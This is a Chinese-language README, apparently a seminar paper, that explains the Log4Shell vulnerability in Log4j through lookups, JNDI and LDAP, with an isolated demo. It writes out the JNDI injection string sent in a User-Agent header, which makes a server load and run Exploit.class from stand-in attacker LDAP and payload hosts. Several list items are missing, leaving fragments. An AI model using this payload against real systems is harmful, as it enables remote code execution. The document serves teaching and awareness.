本仓库仅供教育和演示用途,用于安全相关的研讨会论文。请勿在生产环境中或未经明确许可的情况下对系统使用此代码。该构建旨在提升安全意识,并展示当看似无害的功能(如日志记录、名称解析和动态类加载)组合在一起时,可能产生复杂漏洞。
本研讨会论文旨在深入理解 Log4Shell 安全漏洞(CVE-2021-44228),该漏洞于 2021 年 12 月公开,并被列为近年来最关键的漏洞之一。论文既解释了理论基础,也展示了漏洞的实际演示。
为了直观展示 Log4Shell 安全漏洞,本仓库搭建了一个隔离的、容器化的环境,可复现完整的攻击流程。演示基于三个核心组件:
User-Agent 头,攻击者可操纵该头以利用漏洞。Exploit.class)。与 LDAP 服务器一样,此服务器也受攻击者控制。提示: 有关演示的搭建与运行详情,请参见第 4 节 项目结构与搭建和第 5 节 项目演示。
Log4Shell 是 Java 库 Log4j 中一个关键安全漏洞的名称,编号为 CVE-2021-44228。它允许攻击者以极低代价在远程服务器上执行任意代码(远程代码执行,简称 RCE)。
该漏洞影响 Log4j 2.0 到 2.14.1 版本,其严重性导致包括德国联邦信息安全办公室(BSI)在内的许多安全机构将其列为最高风险等级。
Log4Shell 之所以特别危险,是因为:
其根本原因在于 Log4j 的一项功能,允许通过所谓的查找(Lookups)在日志消息中加载动态内容。结合 JNDI(Java 命名和目录接口) 和 LDAP(轻量级目录访问协议) 协议,这允许加载并执行远程的恶意 Java 类。
该漏洞的发现与披露在全球引发了安全浪潮。许多系统必须立即打补丁或关闭。随后又出现了其他相关漏洞(例如 CVE-2021-45046),这表明该问题的深度与危险性。
下面将详细解释所涉及的技术及其相互配合,以增进对漏洞的深入理解。
Log4j 是 Apache 创建的一个用于在 Java 应用程序中记录事件的日志库。日志记录是软件开发中监控系统或分析错误的核心工具。Log4j 是 Java 生态系统中最为知名、使用最广泛的日志框架之一,既用于小型应用程序,也用于大型企业系统。
在程序运行过程中,例如会出现以下事件:
这些事件可以通过日志记录下来,通常以文本形式输出到控制台、文件或通过网络协议发送到中央日志服务器。合理的日志记录可以追溯应用程序在何时做了什么。
Log4j 提供了一个灵活、高度可配置的基础设施,用于生成和处理日志消息。核心功能包括:
DEBUG、INFO、WARN、ERROR),可用于控制日志的详细程度。其他与研讨会论文相关的功能将在后续章节中讨论,尤其是占位符功能和查找功能。
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
在这个简单的例子中,会创建或获取一个已经存在的Logger实例。接着,在`INFO`级别输出一条日志消息。Log4j根据配置负责消息的格式化和输出。一个示例配置可能如下所示:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
这段配置定义了一个附加器(Appender),它以 Datum Uhrzeit Log-Level Loggername - Nachricht 的格式在控制台输出日志消息。该附加器随后被分配给根日志记录器(Root Logger),后者处理所有级别为 INFO 及以上的日志消息。
输出可能如下所示:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
首先,我们来看一下Log4j中与Log4Shell安全漏洞最相关的具体特性。
#### 日志消息中的占位符
Log4j一个特别有用的特性是支持日志消息中的**占位符**。这样可以在运行时将动态内容插入到日志输出中:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
在此过程中,在运行时将 {} 替换为变量 username 的实际值。这将产生以下输出:```text
"Benutzer angemeldet: Alice"
#### 动态表达式(即 Lookups)
除了简单的占位符,Log4j 还提供了直接在日志消息中解析更复杂表达式的功能。此功能称为 **Lookup**:它允许在运行时动态插入值(例如环境变量、系统信息或配置值)。
此类动态表达式的示例:
- `${env:HOME}` - 返回环境变量 `HOME` 的值。在 Linux / macOS 下,例如 `/home/username`。
- `${docker:...}` - 可能提供运行应用程序的 Docker 容器的相关信息。
- `${jndi:...}` - 执行 JNDI 查找以加载内部或外部资源。
下一节将更详细地探讨 JNDI 功能,因为它在 Log4Shell 安全漏洞中扮演着核心角色。
### 3.2 JNDI - Lookup 机制
**JNDI** 是 _Java Naming and Directory Interface_ 的缩写,是一种标准化的 Java API,允许访问**命名和目录服务**。借助 JNDI,Java 应用程序可以通过符号名称而不是技术路径来引用资源。
JNDI 的一个典型用途是查找数据库连接,您可以看到如下示例:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
首先创建一个InitialContext,它代表使用JNDI进行名称解析的入口点。接着通过lookup方法查找一个资源,此例中是一个符号名为java:/comp/env/jdbc/myDB的数据源(DataSource)。

Java应用程序使用JNDI的协议无关接口,其中包含如InitialContext这样的类,以及lookup方法。无论使用LDAP、DNS还是其他协议,API始终相同。命名管理器(Naming Manager)充当中介,选择合适的服务提供商(Service Provider)来负责实际通信。JNDI SPI(服务提供者接口)是一组类,实现了针对不同协议的JNDI功能。在我们的场景中,相关的服务提供商是LDAP。
下一节我们将更详细地了解服务提供商LDAP。
LDAP 是轻量级目录访问协议(Lightweight Directory Access Protocol)的缩写,是一种标准化的网络协议,用于访问所谓的目录服务。它最初作为X.500的轻量级替代方案而开发,现已成为许多企业网络中的标准,尤其用于集中式的用户和权限管理。
目录服务是一种结构化的数据库,以层次化形式存储信息。与关系型数据库不同,目录具有以下特点:

如图所示,LDAP目录采用树状结构组织。根级别是域组件(dc)。其下可以有组织单元(ou),表示进一步的细分,例如Users。对于单个用户或对象,则有通用名称(cn),用于标识具体条目,并可包含多个属性。
含义:
dn:可分辨名称(Distinguished Name)dc:域组件(Domain Component)ou:组织单元(Organizational Unit)cn:通用名称(Common Name)接下来,我们看看如何访问LDAP,以及它在Log4Shell漏洞中所扮演的角色。
在LDAP中,也可以存储指向外部类的引用,这些类可在需要时动态加载。这是通过特殊属性如javaClassName和javaCodeBase实现的。这些属性可以指向一个URL,从该URL加载一个Java类。
例如,以下URL可以查询一个指向Java类的对象:``` ldap://ldap-server:1389/Exploit

如图所示,LDAP 条目包含一个 `javaClassName` 属性,指向 `Exploit` 类。通过 `javaCodeBase` 属性指定了加载该类的 URL,本例中是一个地址为 `http://payload-server/` 的 HTTP 服务器,提供 `Exploit.class` 文件。
至此,我们已经详细查看了所有技术组件。下一节将描述 Log4Shell 安全漏洞的总体流程,以理解这些技术如何协同工作以及由此产生的攻击向量。
### 3.4 Log4Shell 的一般流程
在分别考察了 **Log4j**(日志框架)、**JNDI**(目录服务接口)和 **LDAP**(具体目录服务)这三种相关技术之后,现在可以清楚地看到,如果没有采取安全措施,它们的组合可能有多么危险。
在 Log4j 版本 2.14.1 及之前,可以直接在日志消息中解析所谓的 **Lookups**(查找)。这使得可以通过 LDAP 嵌入 JNDI 查询,从而无需显式启用该功能,就能从远程服务器加载并执行任意 Java 类。
#### 具体交互场景:
现在我们将刚刚学到的知识应用于一个具体示例。第一步,我们使用以下表达式启动一个 JNDI 查找:```text
${jndi:...}
现在,我们使用LDAP服务提供程序来加载一个远程Java类 ldap://ldap-server:1389/Exploit。结合起来,得到以下字符串:```text
${jndi:ldap://ldap-server:1389/Exploit}
现在,攻击者只需确保这个字符串进入日志消息,例如通过操纵HTTP头。

如图所示,左侧是攻击者,他托管自己的LDAP服务器和Payload服务器。右侧是使用Log4j版本2.14.1的易受攻击的应用程序。攻击流程如下:
1. 攻击者向应用程序发送HTTP请求,并将上述被操纵的字符串填入例如`User-Agent`头中: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent 头部: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j 识别 ${jndi:...} 并自动通过指定的协议 ldap 执行一个 JNDI 查找
现在调用 LDAP 服务提供者,以解析指定的 URL ldap://ldap-server:1389/Exploit。
LDAP 服务器响应一个指向外部 Java 类 (Exploit.class) 的引用,该类位于以下服务器上: ```
http://payload-server:8000/Exploit.class
应用程序向 Payload 服务器发送请求,以加载 Exploit.class。
Payload 服务器以 Java 类 Exploit.class 进行响应。随后,该类将在没有任何验证的情况下被执行。因此,攻击者可以完全控制在易受攻击服务器上执行的代码。
因为: